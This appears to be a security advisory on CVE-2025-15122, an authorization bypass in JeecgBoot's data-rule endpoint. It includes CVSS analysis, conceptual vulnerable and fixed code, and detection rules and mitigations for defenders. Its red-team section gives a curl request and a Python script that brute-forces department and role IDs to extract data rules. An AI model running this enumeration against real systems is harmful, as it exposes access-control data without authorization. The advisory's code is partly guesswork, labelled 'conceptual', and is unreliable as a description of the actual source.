CVE-2025-15122

Executive Summary

CVE-2025-15122 is an improper authorization vulnerability (CWE-285) in JeecgBoot, a popular open-source Java low-code platform. The flaw resides in the loadDatarule function of the /sys/sysDepartRole/datarule/ endpoint. By manipulating the departId and roleId arguments, an authenticated attacker can bypass authorization checks and access data rules they are not permitted to see. The attack is considered complex and difficult to exploit, but a public proof-of-concept exists. The vendor has not responded to disclosure attempts, and no official patch is available. The CVSS score is 3.1 (Low), reflecting the high attack complexity and low impact on confidentiality.

Supply Chain & Package Security

JeecgBoot is distributed as a Maven project and is often used as a dependency in enterprise Java applications. Organizations using JeecgBoot as a library or framework should treat this as a supply chain risk. The lack of a vendor patch means that any application built on JeecgBoot up to version 3.9.0 inherits this vulnerability. Teams should audit their use of the sysDepartRole component and consider implementing compensating controls.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
• Base Score: 3.1 (Low)
• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): High (H) – Successful exploitation requires specific conditions or knowledge of the target system.
• Privileges Required (PR): Low (L) – The attacker must have valid credentials to the JeecgBoot application.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): Low (L) – Limited information disclosure is possible.
• Integrity (I): None (N) – No data modification is possible.
• Availability (A): None (N) – No denial of service impact.

Threat Level: Low. The high attack complexity and requirement for authentication reduce the immediate risk. However, the public availability of exploit details and the lack of a patch mean that targeted attacks are possible.

Deep Dive & Mechanics

The vulnerability is located in the loadDatarule method of the SysDepartRoleController class. This endpoint is designed to load data rules associated with a specific department and role. The intended authorization check should verify that the requesting user has permission to view data rules for the given departId and roleId.

The flaw is that the authorization check is either missing or improperly implemented. The controller likely performs a simple database query without verifying that the user is a member of the specified department or has the appropriate role. By manipulating the departId and roleId parameters, an attacker can enumerate data rules across the organization.

The attack flow:

1. The attacker authenticates to the JeecgBoot application.
2. The attacker sends a GET request to /sys/sysDepartRole/datarule/ with crafted departId and roleId parameters.
3. The server returns data rules that the attacker should not have access to.

The high complexity likely stems from the need to guess or enumerate valid department and role IDs, which may not be easily discoverable.

Vulnerable vs. Patched Code

Since no official patch exists, a comparison is based on the expected fix.

Vulnerable Code (Conceptual):

@GetMapping("/datarule")
public Result<List<SysDepartRole>> loadDatarule(String departId, String roleId) {
    // Missing authorization check
    List<SysDepartRole> rules = sysDepartRoleService.findByDepartIdAndRoleId(departId, roleId);
    return Result.ok(rules);
}

Patched Code (Expected Fix):

@GetMapping("/datarule")
public Result<List<SysDepartRole>> loadDatarule(String departId, String roleId) {
    // Authorization check: verify user belongs to the department
    if (!userService.isUserInDepartment(getCurrentUserId(), departId)) {
        return Result.error("Access denied");
    }
    List<SysDepartRole> rules = sysDepartRoleService.findByDepartIdAndRoleId(departId, roleId);
    return Result.ok(rules);
}

The fix adds a check to ensure the authenticated user is a member of the specified department before returning the data rules.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid user account on the JeecgBoot instance.
• Knowledge of valid departId and roleId values (can be enumerated).

Exploitation Steps:

1. Authenticate to the JeecgBoot application and obtain a session token.
2. Use a tool like curl or Burp Suite to send a crafted request:

   curl -X GET "http://target.com/sys/sysDepartRole/datarule/?departId=123&roleId=456" \
        -H "Cookie: JSESSIONID=your_session_id"
   

3. Observe the response. If it returns data rules, the vulnerability is confirmed.
4. Enumerate different departId and roleId values to extract all data rules.

Automated Exploit (Python):

import requests

target = "http://target.com"
session = requests.Session()
session.cookies.set("JSESSIONID", "your_session_id")

# Brute force department and role IDs
for depart_id in range(1, 100):
    for role_id in range(1, 100):
        url = f"{target}/sys/sysDepartRole/datarule/?departId={depart_id}&roleId={role_id}"
        response = session.get(url)
        if response.status_code == 200 and "data" in response.json():
            print(f"Found: departId={depart_id}, roleId={role_id}")
            print(response.text)

Blue Team

Detection:

• Monitor logs for repeated requests to /sys/sysDepartRole/datarule/ with varying departId and roleId parameters.
• Alert on requests from users who do not belong to the specified department.

Mitigation:

• Implement a Web Application Firewall (WAF) rule to block requests to /sys/sysDepartRole/datarule/ with suspicious parameter patterns.
• Apply a virtual patch by modifying the application code to add authorization checks (see patched code above).
• Restrict access to the endpoint using network segmentation or API gateways.

Indicators of Compromise (IOCs)

• URL Pattern: /sys/sysDepartRole/datarule/ with departId and roleId parameters.
• HTTP Request: GET requests to the above URL with varying parameter values.
• Log Entry: GET /sys/sysDepartRole/datarule/?departId=*&roleId=* from a single user in a short time frame.
• Response: JSON containing data array with SysDepartRole objects.

Detection Engineering

YARA Rule

rule CVE_2025_15122_JeecgBoot_DataRule_Bypass {
    meta:
        description = "Detects exploitation attempts of CVE-2025-15122 in JeecgBoot"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-15122"
    strings:
        $url_pattern = "/sys/sysDepartRole/datarule/"
        $param_depart = "departId="
        $param_role = "roleId="
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-15122 - JeecgBoot DataRule Authorization Bypass
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit improper authorization in JeecgBoot's loadDatarule endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/sys/sysDepartRole/datarule/'
        cs-uri-query|contains|all:
            - 'departId='
            - 'roleId='
    condition: selection
falsepositives:
    - Legitimate administrative use
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15122 - JeecgBoot DataRule Authorization Bypass"; flow:to_server,established; content:"GET"; http_method; content:"/sys/sysDepartRole/datarule/"; http_uri; content:"departId="; http_uri; content:"roleId="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply a Virtual Patch: Modify the loadDatarule method in SysDepartRoleController.java to include an authorization check that verifies the user belongs to the specified department.
2. Restrict Access: Use a WAF or reverse proxy to block requests to /sys/sysDepartRole/datarule/ from untrusted IPs or with suspicious parameter patterns.
3. Monitor Logs: Enable detailed logging for the endpoint and alert on anomalous access patterns.

Long-Term Fix:

• The vendor should release a patched version of JeecgBoot that includes proper authorization checks.
• Until then, consider upgrading to a version newer than 3.9.0 if available, or fork the project and apply the fix internally.

Compensating Controls:

• Implement role-based access control (RBAC) at the application level.
• Use an API gateway to enforce authentication and authorization for all endpoints.
• Conduct regular security audits of custom code and third-party dependencies.

Valters IT
DevSecOps & Cyber Threat Intelligence